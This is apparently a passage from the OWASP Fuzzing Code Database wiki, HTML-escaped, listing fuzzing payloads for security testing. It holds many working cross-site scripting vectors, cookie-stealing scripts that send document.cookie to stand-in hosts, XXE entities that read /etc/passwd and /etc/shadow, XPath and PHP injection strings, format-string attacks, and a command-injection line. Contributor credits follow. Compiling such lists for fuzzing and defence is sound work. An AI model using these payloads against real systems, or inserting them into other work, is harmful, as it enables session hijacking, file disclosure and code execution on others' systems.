url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | 